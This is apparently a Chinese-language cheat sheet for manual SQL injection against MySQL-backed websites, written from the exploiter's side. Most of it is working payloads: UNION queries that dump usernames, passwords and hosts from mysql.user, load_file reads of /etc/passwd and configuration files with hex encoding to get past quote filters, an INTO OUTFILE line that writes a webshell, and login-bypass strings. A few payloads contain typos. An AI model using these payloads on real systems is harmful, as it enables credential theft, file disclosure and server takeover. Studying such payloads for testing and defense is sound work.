从利用角度详解手工SQL注入

如何判断是否存在SQL注入

id=-1 or 1=1
本应没结果但实际有结果

id=1 and 1=2

本应该有结果但实际没结果。

id=1/ABC/

猜字段数

1
2
SELECT * FROM table_name WHERE id=545/*abc*/or/*dasd*/1=1/**/ORDER/**/BY/**/1
SELECT * FROM table_name WHERE id=545/*abc*/or/*dasd*/1=1/**/ORDER/**/BY/**/5

猜其他表的字段数

1
2
SELECT * FROM table_name WHERE id=545/*abc*/AND/*dasd*/1=2/**/UNION/**/SELECT/*ab*/*/*asw*/FROM/**/admin/**/ORDER/**/BY/*12*/1
SELECT * FROM table_name WHERE id=545/*abc*/AND/*dasd*/1=2/**/UNION/**/SELECT/*ab*/*/*asw*/FROM/**/admin/**/ORDER/**/BY/*12*/5

确定字段取出的位置

1
SELECT * FROM table_name WHERE id=545/*abc*/and/*dasd*/1=2/**/UNION/**/SELECT/*da*/1,2,3,4,5,6,7,8,9

select 1,2,null,4,5 可以用null替换

空格替代字符

/*/
/
abc*/
+

#通用结尾

/*

#

目的是防止拼接后的语句干扰我们构造的语句

news.php?id=1+union+select+1,2,3,4+from+admin–
news.php?id=1+union+select+1,2,3,4+from+admin/*

MySQL 常用内建函数

user()
database()
version()
@@datadir() 可以爆部分路径
@@tmpdir()
@@version()
@@version_compile_os
@@version_compile_machine
@@warning_count
@@system_time_zone
@@query_cache_size
@@version_comment
concat()
concat()主要用于一次显示多个数据
concat(username,0x3a,password)
hex主要编码分隔符,常用的有 0x3a,0x5c,0x5f,0x3c62723e 等

group_concat()
group_concat(DISTINCT+user,0x3a,password)

concat_ws()
与上面的类似

hex()与 unhex()

例如 UNION+SELECT+hex(password)+FROM+mysql.user
这样取出的结果是16进制编码,需要进行解码
hex(user()) hex(database())

hex解码工具
http://www.107000.com/T-Hex/
注意不要有0x
WinHex
选择 ascii hex

file_priv
host
load_file()
常见敏感路径
load_file(‘/etc/passwd’)
load_file(‘c:\boot.ini’)
如果gpf ON
那么可以考虑用hex编码绕过
UNION+SELECT+1,2,3,load_file(0x633a5c5c626f6f742e696e69),5,6

outfile

select webshell_string into outfile ‘/etc/pache2/www/webroot/a.php’

万能密码

注释型

通常存在于如下构造的SQL中
select uid from admin where username=’admin’ and password=’admin’

构造特殊输入

1
2
admin'/*test
test*/'

畸形语句如下
select uid from admin where username=’admin’/test’ and password=’test/‘’

or逻辑型

构造特殊输入

1
2
admin
admin' or '1'='1

畸形语句如下
select uid from admin where username=’admin’ and password=’admin’ or ‘1’=’1’

查询数据库表结构

union select 1,2,3,table_name from(select * from infomation_schema.tables where table_chema=数据库名字的hex order by table_schema limit 6,1)t limit 1–

select 1,2,3,table_name from(select * from information_schema.tables where table_schema=’devdb’ order by table_schema limit 5,1)t limit 1–;

limit 5,1 的含义是从第5个开始,取1个
limit 5,3 第5个开始,取3个

group_concat 的使用

查询数据库中所有表名称
union select group_concat(distinct table_schema) from mysql.information_schema.columns where table_schema=’testdb’

此处table_schema可以用hex编码

查询表中所有字段名称
union select 1,2,3,4,5,group_concat(distinct column_name) from information_schema.columns where table_name=’admin’

load_file 应用

首先用扫描器找网站的报错页面
一般报错页面会暴露网站的物理路径
例如 C:\wamp\www\article.php

可以读一些特殊位置
C:\wamp\www\butcher\config.php
union select 1,2,hex(load_file(0x433a5c77616d705c7777775c627574636865725c636f6e6669672e706870)),4,5,6

为什么对返回结果做hex编码?原因在于对于一些韩国、日本的网站,用hex编码可以防止一些字符编码问题的产生。

路径获取

除了 报错信息以外

选择一些敏感路径
/var/www/
/home/criterion
读取 /etc/profile

如果已知 tomcat路径
读取 conf/server.xml 即可获得web路径

如果已知 web 服务器 路径,读取其配置文件即可获得www路径。

编码问题处理

第一种处理方式是回显结果用hex()编码

另一种处理方式,利用convert函数

union+select+1,2,3,4,5,6,convert(group_concat(distinct+user,0x3a,password,0x3a,host)+using+latin1)+from+mysql.user/*

union select 1,2,convert(group_concat(distinct+table_name)+using+latin1),4,5,6+from+information_schema.columns+where+table_schema=database()

错误回显注入

基本公式
union select 1 from (select+count(),concat(floor(rand(0)2),PAYLOAD))a from information_schema.tables group by a)b

Payload处添加需要显示结果的语句

参考资料

[1] [习科SQL注入手册]